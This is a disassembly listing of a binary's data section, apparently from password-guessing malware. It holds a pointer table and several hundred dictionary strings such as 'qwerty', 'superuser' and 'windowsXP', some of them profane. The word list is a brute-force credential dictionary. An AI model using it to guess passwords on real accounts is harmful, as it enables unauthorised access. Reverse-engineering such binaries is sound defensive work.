dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning_0 ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_1 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset byte_43C80C
align 10h
dword_4313B0 dd 10h ; DATA XREF: sub_40BE75+72w
; sub_40EE72+B6Er ...
aZimmerman db 'zimmerman',0 ; DATA XREF: ___:004313A4o
align 10h
aZap db 'zap',0 ; DATA XREF: ___:004313A0o
aYellowstone db 'yellowstone',0 ; DATA XREF: ___:0043139Co
aXyz db 'xyz',0 ; DATA XREF: ___:00431398o
aWisconsin db 'wisconsin',0 ; DATA XREF: ___:00431394o
align 10h
aWilliamsburg db 'williamsburg',0 ; DATA XREF: ___:00431390o
align 10h
aWholesale db 'wholesale',0 ; DATA XREF: ___:0043138Co
align 4
aTty db 'tty',0 ; DATA XREF: ___:00431388o
aTopography db 'topography',0 ; DATA XREF: ___:00431384o
align 4
aTemptation db 'temptation',0 ; DATA XREF: ___:00431380o
align 4
aTelephone db 'telephone',0 ; DATA XREF: ___:0043137Co
align 4
aTangerine db 'tangerine',0 ; DATA XREF: ___:00431378o
align 10h
aSys db 'sys',0 ; DATA XREF: ___:00431374o
aSupported db 'supported',0 ; DATA XREF: ___:00431370o
align 10h
aSuperuser db 'superuser',0 ; DATA XREF: ___:0043136Co
align 4
aSuperstage db 'superstage',0 ; DATA XREF: ___:00431368o
align 4
aSun db 'sun',0 ; DATA XREF: ___:00431364o
aStuttgart db 'stuttgart',0 ; DATA XREF: ___:00431360o
align 4
aStratford db 'stratford',0 ; DATA XREF: ___:0043135Co
align 4
aStephanie db 'stephanie',0 ; DATA XREF: ___:00431358o
align 10h
aSignature db 'signature',0 ; DATA XREF: ___:00431354o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: ___:00431350o
align 4
aSal db 'sal',0 ; DATA XREF: ___:0043134Co
aRochester db 'rochester',0 ; DATA XREF: ___:00431348o
align 4
aRje db 'rje',0 ; DATA XREF: ___:00431344o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: ___:00431340o
align 4
aPub db 'pub',0 ; DATA XREF: ___:0043133Co
aProfessor db 'professor',0 ; DATA XREF: ___:00431338o
align 4
aPrinceton db 'princeton',0 ; DATA XREF: ___:00431334o
align 4
aPondering db 'pondering',0 ; DATA XREF: ___:00431330o
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: ___:0043132Co
align 10h
aPersimmon db 'persimmon',0 ; DATA XREF: ___:00431328o
align 4
aPercolate db 'percolate',0 ; DATA XREF: ___:00431324o
align 4
aPam db 'pam',0 ; DATA XREF: ___:00431320o
aPad db 'pad',0 ; DATA XREF: ___:0043131Co
aOceanography db 'oceanography',0 ; DATA XREF: ___:00431318o
align 10h
aNutrition db 'nutrition',0 ; DATA XREF: ___:00431314o
align 4
aNew db 'new',0 ; DATA XREF: ___:00431310o
aNet db 'net',0 ; DATA XREF: ___:0043130Co
aMit db 'mit',0 ; DATA XREF: ___:00431308o
aMgr db 'mgr',0 ; DATA XREF: ___:00431304o
aMacintosh db 'macintosh',0 ; DATA XREF: ___:00431300o
align 4
aLiz db 'liz',0 ; DATA XREF: ___:004312FCo
aLee db 'lee',0 ; DATA XREF: ___:004312F8o
aLamination db 'lamination',0 ; DATA XREF: ___:004312F4o
align 4
aKim db 'kim',0 ; DATA XREF: ___:004312F0o
aJoy db 'joy',0 ; DATA XREF: ___:004312E8o
aJen db 'jen',0 ; DATA XREF: ___:004312E4o
aInnocuous db 'innocuous',0 ; DATA XREF: ___:004312E0o
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: ___:004312DCo
align 10h
aIbm db 'ibm',0 ; DATA XREF: ___:004312D8o
aHappening db 'happening',0 ; DATA XREF: ___:004312D4o
align 10h
aHal db 'hal',0 ; DATA XREF: ___:004312D0o
aGnu db 'gnu',0 ; DATA XREF: ___:004312CCo
aFun db 'fun',0 ; DATA XREF: ___:004312C8o
aForesight db 'foresight',0 ; DATA XREF: ___:004312C4o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: ___:004312C0o
align 4
aExtension db 'extension',0 ; DATA XREF: ___:004312BCo
align 10h
aEstablish db 'establish',0 ; DATA XREF: ___:004312B8o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: ___:004312B4o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: ___:004312B0o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: ___:004312ACo
align 10h
aEdinburgh db 'edinburgh',0 ; DATA XREF: ___:004312A8o
align 4
aDos db 'dos',0 ; DATA XREF: ___:004312A4o
aDog db 'dog',0 ; DATA XREF: ___:004312A0o
aDiscovery db 'discovery',0 ; DATA XREF: ___:0043129Co
align 10h
aDesperate db 'desperate',0 ; DATA XREF: ___:00431298o
align 4
aDeb db 'deb',0 ; DATA XREF: ___:00431294o
aCornelius db 'cornelius',0 ; DATA XREF: ___:00431290o
align 4
aCommrades db 'commrades',0 ; DATA XREF: ___:0043128Co
align 4
aChristine db 'christine',0 ; DATA XREF: ___:00431288o
align 4
aChristina db 'christina',0 ; DATA XREF: ___:00431284o
align 10h
aChemistry db 'chemistry',0 ; DATA XREF: ___:00431280o
align 4
aCatherine db 'catherine',0 ; DATA XREF: ___:0043127Co
align 4
aCat db 'cat',0 ; DATA XREF: ___:00431278o
aCampanile db 'campanile',0 ; DATA XREF: ___:00431274o
align 4
aCad db 'cad',0 ; DATA XREF: ___:00431270o
aBsd db 'bsd',0 ; DATA XREF: ___:0043126Co
aBob db 'bob',0 ; DATA XREF: ___:00431268o
aBicameral db 'bicameral',0 ; DATA XREF: ___:00431264o
align 10h
aBeethoven db 'beethoven',0 ; DATA XREF: ___:00431260o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: ___:0043125Co
align 4
aAsm db 'asm',0 ; DATA XREF: ___:00431258o
aAsd db 'asd',0 ; DATA XREF: ___:00431254o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: ___:00431250o
align 10h
aAnn db 'ann',0 ; DATA XREF: ___:0043124Co
aAndromache db 'andromache',0 ; DATA XREF: ___:00431248o
align 10h
aAmy db 'amy',0 ; DATA XREF: ___:00431244o
aAmorphous db 'amorphous',0 ; DATA XREF: ___:00431240o
align 10h
aAma db 'ama',0 ; DATA XREF: ___:0043123Co
aAlf db 'alf',0 ; DATA XREF: ___:00431238o
aAlbatross db 'albatross',0 ; DATA XREF: ___:00431234o
align 4
aAda db 'ada',0 ; DATA XREF: ___:00431230o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: ___:0043122Co
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: ___:00431228o
align 10h
aH4x1ng db 'h4x1ng',0 ; DATA XREF: ___:00431224o
align 4
aHaxing db 'haxing',0 ; DATA XREF: ___:00431220o
align 10h
aHax db 'hax',0 ; DATA XREF: ___:0043121Co
aWh0re db 'wh0re',0 ; DATA XREF: ___:00431218o
align 4
aHo db 'ho',0 ; DATA XREF: ___:00431214o
align 10h
aWh0r3 db 'wh0r3',0 ; DATA XREF: ___:00431210o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: ___:0043120Co
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: ___:00431208o
align 10h
aWindozeme db 'windozeME',0 ; DATA XREF: ___:00431204o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: ___:00431200o
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: ___:004311FCo
align 4
aWindows95 db 'windows95',0 ; DATA XREF: ___:004311F8o
align 10h
aWindows98 db 'windows98',0 ; DATA XREF: ___:004311F4o
align 4
